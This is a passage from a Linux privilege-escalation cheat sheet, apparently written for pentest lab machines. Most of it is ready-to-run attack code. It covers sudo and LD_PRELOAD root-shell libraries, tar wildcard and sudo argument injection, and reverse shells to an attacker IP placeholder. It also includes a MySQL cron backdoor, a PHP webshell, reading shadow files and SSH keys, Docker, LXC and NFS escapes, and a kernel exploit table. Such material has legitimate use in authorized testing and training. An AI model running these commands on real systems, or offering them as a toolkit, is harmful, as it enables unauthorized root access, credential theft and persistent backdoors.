cat /etc/sudoers.d/* 2>/dev/null
# Look for your username or your group (check 'id' for group names)
2. CONFIRM - verify each dangerous condition is actually exploitable
# Check each allowed binary against GTFOBins
# Confirm NOPASSWD (no password barrier):
sudo -l | grep NOPASSWD
# Confirm wildcard * present (argument injection):
sudo -l | grep '\*'
# Confirm env_keep includes LD_PRELOAD (critical - enables shared lib injection):
sudo -l | grep LD_PRELOAD && echo 'LD_PRELOAD KEPT - shared library injection possible!'
# Check sudo version for CVE-2021-3156 (Baron Samedit):
sudo --version | head -1
Confirm PwnKit is present for CVE-2021-4034 (check independently of sudo)
ls -la /usr/bin/pkexec 2>/dev/null | grep -E '^-rws'
# -rwsr-xr-x with root ownership = pkexec SUID present - check kernel/pkexec version
3. EXPLOIT
# Quick wins:
sudo bash
sudo su
sudo /bin/sh
sudo find / -exec /bin/bash \;
sudo vim -c ':!/bin/bash'
sudo python3 -c 'import os;os.system("/bin/bash")'
# LD_PRELOAD attack (if env_keep includes LD_PRELOAD):
# 1. Write evil.c:
cat > /tmp/evil.c << 'CEOF'
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
    unsetenv("LD_PRELOAD");
    setresuid(0,0,0);
    system("/bin/bash -p");
}
CEOF
# 2. Compile:
gcc -fPIC -shared -nostartfiles -o /tmp/evil.so /tmp/evil.c
# 3. Exploit:
sudo LD_PRELOAD=/tmp/evil.so <any_allowed_binary>
4. VERIFY
id
whoami
Check sudo version for Baron Samedit sudo --version - if version < 1.9.5p2, try CVE-2021-3156: sudoedit -s /
Sudo Wildcard Argument Injection (Pebbles, zmupdate.pl pattern)
⚠️ Seen on: Pebbles (PG) When sudoers shows (ALL) NOPASSWD: /path/to/script * - the * wildcard allows you to inject arbitrary arguments. Many Perl/Python scripts have flags that trigger command execution.
Detect - look for wildcards in sudo -l output
sudo -l
# Dangerous patterns:
# (root) NOPASSWD: /usr/bin/perl /opt/script.pl *
# (root) NOPASSWD: /usr/bin/python3 /opt/script.py *
# (root) NOPASSWD: /usr/bin/bash /opt/script.sh *
Read the script - find injectable flags
cat /opt/script.pl | grep -E "GetOptions|getopts|option|flag|exec|system|\`"
# Look for: --version, --debug, --config, --path, --cmd flags that run commands
Common Perl argument injection (--version flag tricks)
# Many Perl scripts accept --version which triggers a code path with system() or exec()
sudo /usr/bin/perl /opt/script.pl --version 'id'
sudo /usr/bin/perl /opt/script.pl --user 'admin%0a/bin/bash'
sudo /usr/bin/zmupdate.pl --version='; id; echo'
Generic injection patterns (newline / semicolon injection)
# Newline injection (%0a URL-encoded or actual newline):
sudo /opt/script --option $'value\nbash -i >& /dev/tcp/{{KALI_IP}}/{{RPORT}} 0>&1'
# Semicolon injection in string parameter:
sudo /opt/script --path '/tmp/; bash -c "bash -i >& /dev/tcp/{{KALI_IP}}/{{RPORT}} 0>&1"'
ZoneMinder zmupdate.pl specific (Pebbles box)
# ZoneMinder zmupdate.pl allows --version argument injection
sudo /usr/bin/zmupdate.pl --version=1 --user='<USER>;bash -c "bash -i >& /dev/tcp/{{KALI_IP}}/{{RPORT}} 0>&1"'
# Alternative - inject via --pass parameter
sudo /usr/bin/zmupdate.pl --version=1 --user=root --pass=$(python3 -c "print('x;bash -c \'bash -i >& /dev/tcp/{{KALI_IP}}/{{RPORT}} 0>&1\'')")
📝 Notes
8.7
Kernel Exploits
Check uname -r against this table. Match architecture before running.
EXPLOIT
Check Architecture FIRST uname -a - x86_64 = 64-bit | i686/i386 = 32-bit. Run the matching exploit binary. Wrong arch = kernel panic.
Get kernel version for lookup
uname -r && cat /etc/os-release
Pure bash: check the three most reliable kernel privesc paths without any external tool
# 1. PwnKit (CVE-2021-4034) - pkexec SUID present? Check polkit package version (NOT just pkexec --version)
ls -la /usr/bin/pkexec 2>/dev/null && pkexec --version 2>/dev/null
# WARNING: distros backport fixes without bumping version. Check the PACKAGE version:
dpkg -l policykit-1 2>/dev/null | awk '/policykit/{print $2,$3}'  # Debian/Ubuntu
rpm -q polkit 2>/dev/null  # RHEL/CentOS
# Ubuntu 20.04 patched at: 0.105-26ubuntu1.2 | Ubuntu 18.04: 0.105-20ubuntu0.18.04.6

# 2. DirtyPipe (CVE-2022-0847) - kernel 5.8 to 5.16.11
# NOTE: numeric comparison required - string compare gives wrong results for 5.10.x vs 5.8.x
uname -r | awk -F'[.-]' '{maj=$1+0; min=$2+0; patch=$3+0;
  if (maj==5 && (min>8 || (min==8 && patch>=0)) && (min<16 || (min==16 && patch<=11)))
    print "DIRTYPIPE RANGE: " maj"."min"."patch" - VULNERABLE"}'

# 3. Baron Samedit (CVE-2021-3156) - sudo < 1.9.5p2
sudo --version 2>/dev/null | head -1
TRANSFER - download to target first (Kali HTTP server must be running)
wget http://{{KALI_IP}}:{{PORT}}/linux/linux-exploit-suggester.sh -O /tmp/linux-exploit-suggester.sh && chmod +x /tmp/linux-exploit-suggester.sh
wget http://{{KALI_IP}}:{{PORT}}/linux/linux-exploit-suggester-2.pl -O /tmp/linux-exploit-suggester-2.pl
wget http://{{KALI_IP}}:{{PORT}}/linux/exploit-suggester.py -O /tmp/exploit-suggester.py
Run exploit suggester (copy to target)
/tmp/linux-exploit-suggester.sh
perl /tmp/linux-exploit-suggester-2.pl
python3 /tmp/exploit-suggester.py - Python version, different detection engine
CVENameKernel VersionsNotes
CVE-2022-0847DirtyPipe5.8 - 5.16.11Overwrite read-only files. Very reliable. Ubuntu 20.04+
CVE-2021-4034PwnKit (pkexec)All kernels - polkit < 0.120pkexec userspace vuln (NOT kernel). Distros backport fixes - check package version, not just pkexec --version.
CVE-2021-3156Baron Samedit (sudo)sudo < 1.9.5p2Sudo vuln not kernel. sudoedit -s / to check.
CVE-2016-5195DirtyCow2.6.22 - 4.8.3 (also 4.4.x < 4.4.26, 4.7.x < 4.7.9)Most famous. Many variants. For older kernels. ⚠️ RESTORE /etc/passwd IMMEDIATELY after exploit or machine is unrecoverable! Do NOT attempt on kernel > 4.8.3.
CVE-2020-14386OverlayFS Privesc4.8 - 5.7Ubuntu 18.04-20.04 common
CVE-2019-7304OverlayFS Race4.10 - 4.15Ubuntu 16.04
CVE-2021-3560Polkit D-Bus RaceAll kernels - polkit 0.113-0.118Race condition, different from PwnKit. Ubuntu 20.04/RHEL 8/Fedora 21. Use secnigma PoC.
CVE-2021-33034Kernel BT UAF5.4 - 5.10.4Bluetooth HCI use-after-free. Requires Bluetooth hardware - skip if no BT interface.
CVE-2018-8897Memory Barrier3.14 - 4.15
CVE-2017-8890Race Condition< 4.11.6
CVE-2016-5696TCP RCE3.6 - 4.7
CVE-2012-0056Mempodipper2.6.39 - 3.2.2Gentoo / Ubuntu x86/x64
CVE-2010-4258Full Nelson2.6.37RedHat / Ubuntu 10.04
CVE-2010-3904RDS<= 2.6.36-rc8Legacy systems
💾 BACKUP (CRITICAL - DirtyCow can corrupt /etc/passwd): cp /etc/passwd /tmp/passwd.bak && echo "[BAK] /etc/passwd backed up to /tmp/passwd.bak"
🚨 DirtyCow (CVE-2016-5195) CRITICAL RESTORE STEP
DirtyCow variants that overwrite /etc/passwd WILL corrupt the file if you don't restore it immediately. The machine becomes completely unrecoverable (no login possible).

ALWAYS run immediately after getting root shell:
mv /tmp/passwd.bak /etc/passwd   # restore original passwd
# OR if the exploit created it at a different path:
cp /etc/passwd.bak /etc/passwd
↩ REVERT: cp /tmp/passwd.bak /etc/passwd && echo "[RESTORED] /etc/passwd restored from backup"
Common DirtyCow variants:
  • dirtyc0w.c / cowroot.c - overwrites /etc/passwd directly (MUST restore)
  • dirty.c - passwd variant, creates firefart user (restore when done)
  • dirtycow-mem.c - memory-only, safer, no file restore needed
Compile: gcc -pthread dirtyc0w.c -o dirtyc0w -lcrypt
📝 Notes
8.8
Wildcard Injection (tar, chown, chmod)
Wildcards in cron scripts can be injected to execute arbitrary commands
PRIVESC
How It Works If a cron job runs tar -czf backup.tar.gz /var/www/*, you can create files named like --checkpoint-action=exec=sh shell.sh which become tar arguments when the wildcard expands.
1. DETECT - find wildcard usage across ALL exploitable commands in cron
grep -rE '\btar\b.*\*|\bchown\b.*\*|\bchmod\b.*\*|\brsync\b.*\*' /etc/cron* /var/spool/cron 2>/dev/null
# Catches tar, chown, chmod, and rsync wildcards - not just tar
cat /etc/crontab /etc/cron.d/* 2>/dev/null | grep -v '^#' | grep '\*/' - catch interval wildcards too
2. CONFIRM - verify you can write to the wildcard directory
ls -la /path/to/wildcard/directory
test -w /path/to/wildcard/directory && echo 'WRITABLE - wildcard injection possible!' || echo 'not writable'
# Must be writable to plant checkpoint/argument-named files
3. EXPLOIT - create files that tar treats as arguments
Option A: reverse shell (KALI: nc -lvnp {{RPORT}})
cd /path/to/wildcard/directory
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {{KALI_IP}} {{RPORT}} >/tmp/f' > shell.sh
chmod +x shell.sh
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh shell.sh'
# When tar runs: wildcard expands to include these "arguments"
Option B: SUID bash (no callback needed)
cd /path/to/wildcard/directory
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > shell.sh
chmod +x shell.sh
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh shell.sh'
# After cron runs:
/tmp/rootbash -p
4. VERIFY
id; whoami
ls -la /tmp/rootbash  # if Option B was used
RESTORE - remove injected files and artifacts
cd /path/to/wildcard/directory
rm -f shell.sh '--checkpoint=1' '--checkpoint-action=exec=sh shell.sh'
rm -f /tmp/rootbash /tmp/f
Wildcards: * = any chars | ? = one char | [] = any enclosed. Other exploitable commands: chown, chmod, rsync
📝 Notes
8.9
Disk Group Permissions
disk group = raw access to all disks = read any file including /etc/shadow
PRIVESC
1. DETECT - confirm YOU are in the disk group
id | grep -w disk && echo 'IN DISK GROUP - raw device access possible!'
# 'grep -w disk' ensures exact word match, not partial (e.g. not 'diskadm')
groups | tr ' ' '\n' | grep -w disk
cat /etc/group | grep disk | grep $(whoami) - verify via /etc/group directly
2. CONFIRM - find the disk device backing / to pass to debugfs
df -h /
# Note the device in the first column (e.g. /dev/sda1, /dev/nvme0n1p1)
# That is what you pass to debugfs
lsblk - no root needed, shows device tree
cat /proc/partitions - pure /proc fallback if lsblk missing
fdisk -l 2>/dev/null - may require root
Confirm disk group members have rw access to the raw device
ls -la /dev/sd* /dev/nvme* /dev/vd* 2>/dev/null | grep disk
# Should show: brw-rw---- root disk /dev/sdX - confirms disk group has rw
3. EXPLOIT
Use the device mounted at "/" from the df -h output above (e.g. /dev/sda1, /dev/sdb1, /dev/nvme0n1p1)
debugfs /dev/sda1
debugfs: cd /root
debugfs: ls
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow
4. VERIFY
# Use extracted SSH key or cracked password:
ssh -i id_rsa root@localhost
su root # with cracked password
📝 Notes
8.10
MySQL Running as Root
If MySQL process = root + you have DB access = code execution as root
PRIVESC
1. DETECT - confirm mysqld process is running as root
ps aux | grep mysqld | grep -v grep | awk '{print $1, $11}'
# Output must show 'root' in column 1 (USER) - not 'mysql' user
cat /etc/mysql/mysql.conf.d/mysqld.cnf 2>/dev/null | grep -i '^user' - confirms configured run-as user
cat /etc/mysql/my.cnf 2>/dev/null | grep -i '^user' - alternative config location
stat /proc/$(pgrep -x mysqld | head -1)/exe 2>/dev/null - confirm via /proc
Confirm sys_exec UDF is loaded before attempting exploit
mysql -u root -e "SELECT * FROM mysql.func WHERE name='sys_exec';" 2>/dev/null
# If empty: sys_exec not loaded - use INTO OUTFILE method instead
2. CONFIRM - find MySQL credentials
Try connecting (check no-password root first)
mysql -u root -p
mysql -u root
Find credentials in web app config files
cat /var/www/html/wp-config.php 2>/dev/null | grep -i 'DB_PASS\|DB_USER'
cat /var/www/html/config.php 2>/dev/null | grep -i 'pass\|user\|db'
find / -name 'wp-config.php' -o -name 'config.php' -o -name '.env' 2>/dev/null | head -10 | xargs grep -i 'mysql\|password' 2>/dev/null
# Also try: DB password reused as system user password!
cat /etc/mysql/mysql.conf.d/mysqld.cnf 2>/dev/null | grep -i pass
cat ~/.mysql_history 2>/dev/null
3. EXPLOIT - multiple methods
Method 1: sys_exec - SUID bash copy (most reliable)
select sys_exec('whoami');
select sys_eval('whoami');
select sys_exec('cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash');
-- After running:
exit
/tmp/rootbash -p
Method 2: INTO OUTFILE → drop a root cron job
-- Check if INTO OUTFILE is allowed:
SHOW VARIABLES LIKE 'secure_file_priv';
-- If NULL or empty → allowed. Then write reverse shell cron:
SELECT "* * * * * root bash -i >& /dev/tcp/{{KALI_IP}}/{{RPORT}} 0>&1" INTO OUTFILE '/etc/cron.d/privesc';
-- Wait 60s for cron to fire (KALI: nc -lvnp {{RPORT}})
Method 3: sys_exec → inject SSH key for root
-- Generate key on Kali first: ssh-keygen -f /tmp/rootkey
select sys_exec('mkdir -p /root/.ssh');
select sys_exec('echo "SSH_PUB_KEY_HERE" >> /root/.ssh/authorized_keys');
select sys_exec('chmod 600 /root/.ssh/authorized_keys');
-- Then on Kali: ssh -i /tmp/rootkey root@{{TARGET}}
Method 4: INTO OUTFILE → write webshell (if mysql has web root write access)
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';
-- Then: curl http://{{TARGET}}/shell.php?cmd=id
4. VERIFY
id; whoami
RESTORE - cleanup artifacts
rm -f /tmp/rootbash
rm -f /etc/cron.d/privesc 2>/dev/null
rm -f /var/www/html/shell.php 2>/dev/null
📝 Notes
8.11
User-Installed Software
Third-party software may have known vulnerabilities or stored credentials
ENUM
Common directories for user-installed software
ls -la /usr/local/ /usr/local/src /usr/local/bin /opt/ /home /var/ /usr/src/ 2>/dev/null
Installed packages by distro
# Debian/Ubuntu:
dpkg -l
# CentOS/RHEL:
rpm -qa
# OpenBSD/FreeBSD:
pkg_info
Check for exploitable installed versions - writable binaries in non-standard paths
# Find user-installed binaries that are world-writable (directly exploitable):
find /usr/local/bin /usr/local/sbin /opt -type f -perm -o+w 2>/dev/null
# Find SUID binaries in non-standard paths (user-installed software often has these):
find /usr/local /opt -perm -u=s -type f 2>/dev/null
Alternative - find configs/scripts owned by you or writable in software install dirs
find /opt /usr/local -user $(whoami) 2>/dev/null
find /opt /usr/local -writable -type f 2>/dev/null | grep -v "^Binary"
# Confirms: any output = you own or can write to files in software install dirs
📝 Notes
8.12
Weak/Reused/Plaintext Passwords
Web configs, mail, history files - goldmines for credentials
CREDSENUM
Bash history - typed passwords
cat ~/.bash_history
cat /home/*/.bash_history 2>/dev/null
cat /root/.bash_history 2>/dev/null
cat ~/.mysql_history 2>/dev/null
Web config files with DB creds
cat /var/www/html/wp-config.php 2>/dev/null
cat /var/www/html/config.php 2>/dev/null
find / -name 'wp-config.php' -o -name 'config.php' -o -name '.env' 2>/dev/null | head -10
Mail files - may contain passwords
ls -la /var/mail/ /var/spool/mail/ 2>/dev/null
cat /var/mail/* 2>/dev/null
Pure bash - broad credential hunt in config files (no tools)
grep -rE "(password|passwd|pwd|secret|token)\s*[=:]\s*\S+" \
  /var/www/ /etc/ /home/ /opt/ /srv/ 2>/dev/null \
  | grep -v "Binary\|#.*password\|example\|changeme" | head -30
# Alternative - find files likely to have creds, then grep them:
grep -rl "password" /var/www/ /home/ /opt/ 2>/dev/null | head -10 \
  | xargs grep -i "password" 2>/dev/null | head -20
Check if /etc/shadow is readable - confirms direct hash cracking is possible
cat /etc/shadow 2>/dev/null && echo "[+] EXPLOITABLE: shadow readable"
# Alternative - check permissions directly:
ls -la /etc/shadow /etc/passwd /etc/sudoers 2>/dev/null
# If cat works without error → hashes exposed, crack offline with hashcat -m 1800
Find readable SSH private keys across all home dirs
find /home /root /etc/ssh /tmp /var /opt -name "id_rsa" -o -name "id_ed25519" \
  -o -name "*.pem" -o -name "*.key" 2>/dev/null | while read k; do
  head -1 "$k" 2>/dev/null | grep -q "PRIVATE" \
    && echo "[+] Private key: $k ($(ls -la "$k" 2>/dev/null | awk '{print $1,$3,$4}'))"
done
# Confirms: world/group-readable private key → copy and use directly
Common default passwords to try (THINK SIMPLER)
su root          # try: root, toor, password, ""
su $(whoami)     # try: username, username1, admin
# Common: root:root, user:user, admin:admin, service:service
LinEnum automated password search
./LinEnum.sh -t -k password
📝 Notes
8.13
Internal Services
127.0.0.1 listeners are internal - investigate for local exploits
ENUM
Address Types 0.0.0.0 = all interfaces | 127.0.0.1 = local only - INVESTIGATE | 192.168.x.x = LAN only - INVESTIGATE
netstat -anlp
ss -tlnp
ss -tulpn
Identify which user owns each internal listener - root-owned process = high value target
ss -tlnp | grep 127.0.0.1
# Match PIDs to process owner:
ss -tlnp | grep -oP 'pid=\K[0-9]+' | sort -u | while read pid; do
  echo "PID $pid: $(cat /proc/$pid/comm 2>/dev/null) owner=$(cat /proc/$pid/status 2>/dev/null | awk '/^Uid/{print $2}')"
done
# uid=0 in output = root-owned service on 127.0.0.1 = investigate for exploit
Banner-grab all listening internal ports to identify service and version
for port in 21 22 25 80 110 143 443 3306 5432 6379 8080 8443 9200; do
  result=$(timeout 2 bash -c "echo '' | nc 127.0.0.1 $port 2>/dev/null | head -1")
  [ -n "$result" ] && echo "PORT $port: $result"
done
# Confirms: version string in output → look up CVE for that exact version
📝 Notes
8.14
World-Writable Scripts Run as Root
Root-owned scripts that are writable by everyone - inject code
PRIVESC
Find world-writable directories
find / -writable -type d 2>/dev/null
find / -perm -222 -type d 2>/dev/null
find / -perm -o+w -type d 2>/dev/null
World-executable directories
find / -perm -o+x -type d 2>/dev/null
find / \( -perm -o+w -perm -o+x \) -type d 2>/dev/null
CRITICAL - find world-writable FILES owned by root (the actual exploit path)
find / -writable -type f -user root 2>/dev/null | grep -v "proc\|sys\|dev"
# Alternative - world-writable scripts specifically (shell/python/perl):
find / -writable -type f 2>/dev/null | grep -E "\.(sh|py|pl|rb)$" | xargs ls -la 2>/dev/null
Confirm a cron job or systemd timer actually runs the writable script as root
# Check all cron configs for references to scripts you can write:
cat /etc/crontab /etc/cron.d/* /var/spool/cron/crontabs/root 2>/dev/null
ls /etc/cron.hourly /etc/cron.daily /etc/cron.weekly /etc/cron.monthly 2>/dev/null
# Cross-check: if a file from find above appears in cron output = directly exploitable
# Confirm you can write to it:
[ -w /path/to/script ] && echo "[+] CONFIRMED writable - inject payload"
💾 BACKUP: cp /path/to/writable/script.sh /tmp/$(basename /path/to/writable/script.sh).bak
Inject reverse shell into writable script
echo 'bash -i >& /dev/tcp/{{KALI_IP}}/{{RPORT}} 0>&1' >> /path/to/writable/script.sh
↩ REVERT: cp /tmp/$(basename /path/to/writable/script.sh).bak /path/to/writable/script.sh
📝 Notes
8.15
Unmounted Filesystems
Unmounted partitions may contain sensitive data or config files
ENUM
cat /etc/fstab
mount -l
lsblk
blkid
Identify unmounted partitions - compare fstab entries against currently mounted
# Show paths declared in fstab that are NOT currently mounted:
comm -23 \
  <(grep -v "^#\|^$\|swap\|tmpfs\|proc\|sysfs\|devpts" /etc/fstab | awk '{print $2}' | sort) \
  <(mount | awk '{print $3}' | sort)
# Output = unmounted candidate paths worth investigating
Attempt to mount candidate partition and check for sensitive files
# Try mounting (requires sudo mount or user-mountable entry in fstab):
sudo mount /dev/sdXY /mnt/tmp 2>/dev/null && echo "[+] Mounted successfully"
# Check for privilege escalation material:
ls -la /mnt/tmp/etc/ /mnt/tmp/root/ /mnt/tmp/home/ 2>/dev/null
# Confirms exploit path: readable shadow, SUID bash, or writable authorized_keys:
ls -la /mnt/tmp/etc/shadow /mnt/tmp/root/.ssh/ 2>/dev/null
📝 Notes
8.16
SUID/GUID - Full Guide
SUID = runs as owner (root). GUID = runs as group. Check GTFOBins for every binary found.
PRIVESC
Find all SUID files
find / -perm -u=s -type f 2>/dev/null
Find all GUID files
find / -perm -g=s -type f 2>/dev/null
Analyze binary - find calls that can be PATH-hijacked
strings /path/to/suid-binary
ltrace /path/to/suid-binary 2>&1
strace /path/to/suid-binary 2>&1 | grep -iE 'open|exec'
PATH hijack - if binary calls something without full path
echo '/bin/bash -p' > /tmp/cp
chmod +x /tmp/cp
export PATH=/tmp:$PATH
/path/to/suid-program
Find writable SUID files (extremely rare)
find / -perm -u=s -writable -type f 2>/dev/null
Find SUID in cron directories
find /etc/cron* /var/spool/cron/ -perm -u=s -type f 2>/dev/null
Confirm current user can actually EXECUTE each SUID binary found
find / -perm -u=s -type f 2>/dev/null | while read f; do
  [ -x "$f" ] && echo "[+] EXECUTABLE by us: $f" || echo "[-] NOT executable: $f"
done
# Alternative - show owner/group of each SUID binary to spot group restrictions:
find / -perm -u=s -type f 2>/dev/null | xargs ls -la 2>/dev/null | awk '{print $1,$3,$4,$NF}'
Check Linux capabilities - same impact as SUID, frequently missed
/usr/sbin/getcap -r / 2>/dev/null || getcap -r / 2>/dev/null
# Full path needed on RHEL/CentOS - /usr/sbin not in $PATH for non-root users
# Dangerous output to look for: cap_setuid, cap_dac_override, cap_sys_admin
# Example: /usr/bin/python3 = cap_setuid+ep
# Exploit cap_setuid immediately:
# python3 -c 'import os; os.setuid(0); os.execl("/bin/bash","bash","-p")'
📝 Notes
8.17
Automated Enumeration Scripts
Run linpeas.sh first on every target - it covers 90% of the enumeration
ENUM
LinPEAS
Enum • Most Comprehensive
Best Linux privesc tool. Color-coded output, prioritizes findings.
curl -L http://{{KALI_IP}}:{{PORT}}/linux/linpeas.sh | sh
# OR transfer and run:
chmod +x linpeas.sh && ./linpeas.sh
./linpeas.sh | tee linpeas_output.txt
LinEnum
Enum • Classic
Comprehensive enumeration, password keyword search.
TRANSFER - download to target first (Kali HTTP server must be running)
wget http://{{KALI_IP}}:{{PORT}}/linux/LinEnum.sh -O /tmp/LinEnum.sh && chmod +x /tmp/LinEnum.sh
/tmp/LinEnum.sh
/tmp/LinEnum.sh -t -k password
/tmp/LinEnum.sh | tee linenum_output.txt
pspy64
Process Monitor • No Root
Monitor processes without root - catches hidden cron jobs. Run for 2+ minutes.
TRANSFER - download to target first (Kali HTTP server must be running)
wget http://{{KALI_IP}}:{{PORT}}/linux/pspy64 -O /tmp/pspy64 && chmod +x /tmp/pspy64
wget http://{{KALI_IP}}:{{PORT}}/linux/pspy32 -O /tmp/pspy32 && chmod +x /tmp/pspy32
/tmp/pspy64
/tmp/pspy32       # 32-bit
/tmp/pspy64 -pf -i 1000
lse.sh
Smart Enum • Levels
Linux Smart Enumeration - levels 0-2 for increasing detail.
TRANSFER - download to target first (Kali HTTP server must be running)
wget http://{{KALI_IP}}:{{PORT}}/linux/lse.sh -O /tmp/lse.sh && chmod +x /tmp/lse.sh
/tmp/lse.sh -l1
/tmp/lse.sh -l2
/tmp/lse.sh -l1 -i   # interactive
linux-exploit-suggester
Kernel Exploits
Suggests kernel exploits based on running kernel version.
TRANSFER - download to target first (Kali HTTP server must be running)
wget http://{{KALI_IP}}:{{PORT}}/linux/linux-exploit-suggester.sh -O /tmp/linux-exploit-suggester.sh && chmod +x /tmp/linux-exploit-suggester.sh
wget http://{{KALI_IP}}:{{PORT}}/linux/linux-exploit-suggester-2.pl -O /tmp/linux-exploit-suggester-2.pl
/tmp/linux-exploit-suggester.sh
perl /tmp/linux-exploit-suggester-2.pl
unix-privesc-check
Checker
Checks common privesc vectors on Unix systems.
./unix-privesc-check standard
./unix-privesc-check detailed
checksec
Binary Security
Check binary security features: NX, PIE, RELRO, canary.
checksec --all
checksec --file=/path/to/binary
📝 Notes
+
NFS no_root_squash Escape
NFS share with no_root_squash = mount from Kali and create SUID binary
PRIVESCNEW
⚠️ no_root_squash means Kali root writes to the NFS share AS root on the target - so you can set SUID. Default NFS behavior (root_squash) maps root to nobody, which prevents this.
1. DETECT - find NFS shares with no_root_squash
On target - check exported shares
cat /etc/exports 2>/dev/null
# Look for: /share *(rw,no_root_squash) or /share *(rw,sync,no_root_squash)
Confirm NFS daemon is actually running - prerequisite for the attack
systemctl is-active nfs-server nfs-kernel-server rpcbind 2>/dev/null
ps aux | grep -E "nfsd|rpcbind|mountd" | grep -v grep
# Alternative - check if RPC/NFS ports are listening:
ss -tlnp | grep -E ":111|:2049"
# Confirms: if nfsd process running AND port 2049 open → NFS is active
Parse /etc/exports for the exact exploitable flag in one command
grep -v "^#\|^$" /etc/exports 2>/dev/null
grep -E "no_root_squash|no_all_squash" /etc/exports 2>/dev/null \
  && echo "[+] EXPLOITABLE: squash bypass found in exports"
From Kali - enumerate target's NFS shares
showmount -e {{TARGET}}
# OR: nmap -sV -p 111,2049 {{TARGET}}
2. CONFIRM - verify no_root_squash flag
grep -v "^#" /etc/exports | grep -E "no_root_squash|no_all_squash"
# Filter comments first - commented lines give false positives!
# If output exists → vulnerable
KALI - mount share and plant SUID binary (run as root on Kali)
Mount the NFS share on Kali, copy bash with SUID bit
mkdir /tmp/nfs
mount -t nfs -o rw,vers=3 {{TARGET}}:/share /tmp/nfs
# Use vers=4 if NFSv3 fails: mount -t nfs -o rw,vers=4 {{TARGET}}:/share /tmp/nfs
# Copy bash and give it SUID - Kali is root, so this writes as root on target:
cp /bin/bash /tmp/nfs/rootbash
chmod +s /tmp/nfs/rootbash
# Verify SUID is set:
ls -la /tmp/nfs/rootbash
3. EXPLOIT - run SUID bash on target
# On TARGET - run the SUID bash from the share:
ls -la /share/rootbash  # confirm -rwsr-xr-x
/share/rootbash -p
4. VERIFY
id; whoami  # uid=0(root)
RESTORE - cleanup SUID binary and unmount
Remove SUID bash from share and unmount from Kali
# On Kali (as root):
rm /tmp/nfs/rootbash
umount /tmp/nfs
rmdir /tmp/nfs
📝 Notes
+
Docker / LXC Group Escape
docker group = instant root. Check with: id | grep -w docker
PRIVESCNEW
Detect - group membership
id | grep -w docker && echo "[+] IN docker group"
groups | tr ' ' '\n' | grep -x docker
ls -la /var/run/docker.sock 2>/dev/null
CRITICAL - verify Docker daemon is actually reachable (group alone is not enough)
docker ps 2>/dev/null && echo "[+] EXPLOITABLE: Docker daemon accessible"
# Confirm socket is writable by your user (group membership must match socket group):
stat -c "%G %a" /var/run/docker.sock 2>/dev/null
[ -w /var/run/docker.sock ] && echo "[+] CONFIRMED: socket writable = exploitable" \
  || echo "[-] Socket not writable - group membership alone insufficient"
If docker binary missing - access daemon via curl against the socket directly
find /usr /usr/local /snap -name "docker" -type f 2>/dev/null
# No docker binary? Use curl against the socket API:
curl -s --unix-socket /var/run/docker.sock http://localhost/images/json 2>/dev/null \
  | grep -o '"RepoTags":\[[^]]*\]' | head -5
# If curl returns JSON → daemon accessible without docker binary
Docker group escape - mount host root into container
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
docker run -v /:/host -it alpine /bin/sh && chroot /host bash
LXC escape
id | grep lxd
lxc init ubuntu privesc -c security.privileged=true
lxc config device add privesc host-root disk source=/ path=/mnt/root
lxc start privesc
lxc exec privesc -- /bin/bash
# Then: chroot /mnt/root bash
📝 Notes
+
LD_PRELOAD Privilege Escalation
If sudo preserves LD_PRELOAD and you can run any binary as sudo
PRIVESCNEW
How it works: If sudoers preserves LD_PRELOAD, you can inject a shared library that runs arbitrary code BEFORE the target binary starts - with root privileges inherited from sudo. Your library's _init() function spawns a root shell before the real program even loads.
CRITICAL - This attack ONLY works if sudo -l shows:
env_keep += LD_PRELOAD
If that line is NOT present → sudo strips LD_PRELOAD before exec → exploit silently fails. SUID binaries ALWAYS ignore LD_PRELOAD (kernel strips it). If env_keep not set → use LD_LIBRARY_PATH method below instead.
1. DETECT - sudoers must preserve LD_PRELOAD
Check for env_keep with LD_PRELOAD in sudo config
sudo -l
# Look for line like: env_keep += LD_PRELOAD
# AND at least one binary you can sudo to
Pure bash confirmation - parse sudo -l for the exact required conditions
sudo -l 2>/dev/null | grep -E "LD_PRELOAD|env_keep|SETENV" && echo "[+] env preservation found"
# SETENV flag also works - it allows passing any env variable including LD_PRELOAD:
sudo -l 2>/dev/null | grep "SETENV" && echo "[+] SETENV present - LD_PRELOAD passable"
# List all sudoable binaries (need at least one to pull the trigger):
sudo -l 2>/dev/null | grep -E "NOPASSWD" | grep -v "env_keep\|env_reset\|secure_path"
# Exploitable if: (LD_PRELOAD in env_keep OR SETENV present) AND at least one sudo binary
COMPILE - write and compile the shared library payload
Full source + compile in one block
cat > /tmp/evil.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
    unsetenv("LD_PRELOAD");
    setresuid(0,0,0);
    system("/bin/bash -p");
}
EOF
gcc -fPIC -shared -nostartfiles -o /tmp/evil.so /tmp/evil.c
ls -la /tmp/evil.so
2. EXPLOIT - trigger with any sudo-allowed binary
Inject your library via LD_PRELOAD - the binary doesn't matter, just needs sudo
sudo LD_PRELOAD=/tmp/evil.so <any_binary_from_sudo_-l>
# Example: sudo LD_PRELOAD=/tmp/evil.so /usr/bin/vim
# Example: sudo LD_PRELOAD=/tmp/evil.so find
3. VERIFY
id; whoami  # should show uid=0(root)
RESTORE - cleanup shared library file
rm -f /tmp/evil.so /tmp/evil.c
LD_PRELOAD not in env_keep? → Try LD_LIBRARY_PATH instead
If sudo -l shows env_keep += LD_LIBRARY_PATH, hijack a library the binary loads:
ldd $(which <sudo_allowed_binary>)   # identify linked .so files
# Create fake library with same name as a real .so (e.g. libpthread.so.0):
cat > /tmp/evil.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject() { setresuid(0,0,0); system("/bin/bash -p"); }
EOF
gcc -fPIC -shared -o /tmp/libpthread.so.0 /tmp/evil.c
sudo LD_LIBRARY_PATH=/tmp <sudo_allowed_binary>
📝 Notes
+
PATH Hijacking
SUID binary calls other programs without full path → inject yours first
PRIVESCNEW
